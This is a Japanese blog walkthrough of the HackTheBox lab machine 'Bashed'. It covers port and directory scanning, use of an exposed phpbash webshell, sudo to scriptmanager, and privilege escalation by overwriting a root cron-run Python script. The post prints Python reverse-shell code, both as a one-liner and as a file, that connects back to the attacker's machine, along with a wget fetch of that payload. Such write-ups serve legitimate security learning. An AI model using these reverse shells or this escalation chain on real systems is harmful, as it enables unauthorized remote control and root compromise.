Port 53

明日のための技術メモ

HackTheBox Bashed Walkthrough

f:id:saturn-glave:20210810131710p:plain

https://app.hackthebox.eu/machines/Bashed

今回はHackTheBox BashedのWalkthrough書きます。
userはびっくりするほど簡単だったけど、rootは難しかった...

目次

ポートスキャン

nmapの結果を見ると80番しか空いていない。これはWeb狙い撃ちだな。
利用サービスはApacheの2.4.18だった。

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A 10.10.10.68               
[sudo] kali のパスワード:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 11:28 JST
Nmap scan report for 10.10.10.68
Host is up (0.078s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=8/7%OT=80%CT=1%CU=34834%PV=Y%DS=2%DC=T%G=Y%TM=610DEFF2
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O
OS:1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11N
OS:W7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R
OS:=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S
OS:)

Network Distance: 2 hops

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   78.11 ms 10.10.14.1
2   78.31 ms 10.10.10.68

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds

Webサーバの調査

普通にブラウザでアクセスしてみると、phpbashのブログが出てきた。
タイトル的にwebshellとか出てきそう。

f:id:saturn-glave:20210810131951p:plain

とにかく、gobusterディレクトリ列挙をかけて怪しいページを探す。
/uploadsがあるので、ファイル転送の時はありがたく使わせてもらえそう。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u  http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt  -e -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/08/07 11:33:14 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.68/.hta                 (Status: 403) [Size: 290]
http://10.10.10.68/.htaccess            (Status: 403) [Size: 295]
http://10.10.10.68/.htpasswd            (Status: 403) [Size: 295]
http://10.10.10.68/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
http://10.10.10.68/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
http://10.10.10.68/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
http://10.10.10.68/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
http://10.10.10.68/index.html           (Status: 200) [Size: 7743]                                
http://10.10.10.68/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]    
http://10.10.10.68/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]   
http://10.10.10.68/server-status        (Status: 403) [Size: 299]                                 
http://10.10.10.68/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
                                                                                                   
===============================================================
2021/08/07 11:33:52 Finished
===============================================================

いくつかのディレクトリにアクセスしてみると、/dev配下でPHPのシェルがいくつか出てきた。

f:id:saturn-glave:20210810132320p:plain

phpbash.phpにアクセスしてみると、なんとコマンドラインが出てきた。
www-dataユーザでできそうな範囲のコマンドを実行できそう。

f:id:saturn-glave:20210810132354p:plain

このサーバのユーザは、arrexelscriptmanagerの2人がいて、
あっさりarrexelのホームディレクトリにあったuser.txtが見つかった。

f:id:saturn-glave:20210810132816p:plain

権限昇格

そもそも/rootが見られない。PWなしでsudoできそうなコマンドをsudo -lで探す。
さっきのブラウザのphpbash.phpから実行してみると、www-dataからPWなしでsudoすれば、
scriptmanagerになれることが判明。

www-data@bashed
:/var/www/html/dev# sudo -l

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

scriptmanagerにはbashはある。特にこれと言って面白いものはなかった。

f:id:saturn-glave:20210810133825p:plain

ただ、ブラウザのphpbash.phpからではscriptmanagerとして操作ができないので、
リバースシェルを張ってKaliから操作をすることにした。

今回、PHPリバースシェルで上手く行かなかったので、
Pythonを使えるか確認してみたところ、なんかいけそう

f:id:saturn-glave:20210810134039p:plain

Pythonでのリバースシェル作成は、Pentestmonkeyのサイトから作成した。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

このリバースシェルをBashedのphpbash.phpから実行する。 以下の内容をphpbash.phpに入力する。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("KaliのIPアドレス",待ち受けたいポート番号)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Kali Linux側で4444番で待ち受けておく。ログインした時はwww-dataで入っている。
ただ、このままではbash情報が出てこないので、 python -c 'import pty;pty.spawn("/bin/bash"):'を実行して、
少し見やすくしてみた。これでどのユーザになっているかすぐ分かる。

┌──(kali㉿kali)-[~]
└─$ nc -vlnp 4444   
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.68] 48800
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash");'
www-data@bashed:

scriptmanagerにsudo -uでユーザ変更。

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
sudo -u scriptmanager /bin/bash
scriptmanager@bashed:

ルートディレクトリに移動し、怪しいファイルやディレクトリがないか探す

scriptmanager@bashed:~$ cd /
cd /
scriptmanager@bashed:/$ ls -la
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Aug  6 21:16 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 121 root          root              0 Aug  6 21:16 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            500 Aug  6 21:16 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Aug  6 21:16 sys
drwxrwxrwt  10 root          root           4096 Aug  6 21:20 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

/scriptsだけscriptmanagerでアクセスできそうなので、覗いてみる。

scriptmanager@bashed:/$ cd scripts
cd scripts
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Aug  6 21:20 test.txt
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ 

scriptmanager@bashed:/scripts$ cat test.txt
cat test.txt
testing 123!scriptmanager@bashed:/scripts$ 

test.txtの内容をtest.pyに読み込ませてなんか実行してるっぽい...? test.txtはrootだし、test.pyはscriptmanagerだしなんだか怪しい。 test.pyを書き換えて、シェルを奪えないか試してみることに。

viで直接編集しようと思ったが、なぜか上手く行かなかったので、
Kaliでtest.pyを作成して、Bashedの/uploads経由で転送することにした。

test.pyは以下の通り、先程のリバースシェルと同じ。
転送先のポート番号は、先程と別の番号にしておく。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("KaliのIPアドレス",転送先のポート番号))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

そして、実行権限を変えて、test.pyを作成したディレクトリでSimpleHTTPServerを立てて、
転送準備を済ませておく。

┌──(kali㉿kali)-[~]
└─$ chmod 755 test.py    

┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 80                                                                                        
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.68 - - [07/Aug/2021 13:30:06] "GET /test.py HTTP/1.1" 200 -

Bashed側からwgetして、/scriptsフォルダにtest.pyを転送する。
もとからあったtest.pyは、test.py.bakとかにリネームし、
転送したtest.pyは、名前をtest.pyにリネームして準備完了。

scriptmanager@bashed:/scripts$ wget http://10.10.14.2/test.py
wget http://10.10.14.2/test.py
--2021-08-06 21:35:30--  http://10.10.14.2/test.py
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 213 [text/plain]
Saving to: 'test.py.1'

test.py.1           100%[===================>]     213  --.-KB/s    in 0s      

2021-08-06 21:35:31 (44.6 MB/s) - 'test.py.1' saved [213/213]

scriptmanager@bashed:/scripts$ ls -ltr
ls -ltr
total 16
-rw-r--r-- 1 scriptmanager scriptmanager  58 Dec  4  2017 test.py.bak
-rw-r--r-- 1 scriptmanager scriptmanager 213 Aug  6 21:28 test.py.1
-rw-r--r-- 1 root          root           12 Aug  6 21:33 test.txt

改造したtest.pyで、Kali側の1234番で待ち受けると、rootが取れた。

┌──(kali㉿kali)-[~]
└─$ nc -vlnp 1234  
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.68] 53148
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# ls    
test.py
test.py.bak
test.txt
# cd /root
# ls
root.txt
# cat root.txt 

最後に確認したが、crontabを見ると、/scripts配下に置いてあるpythonスクリプト
一定時間ごとに自動実行するように登録されてあった。

# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done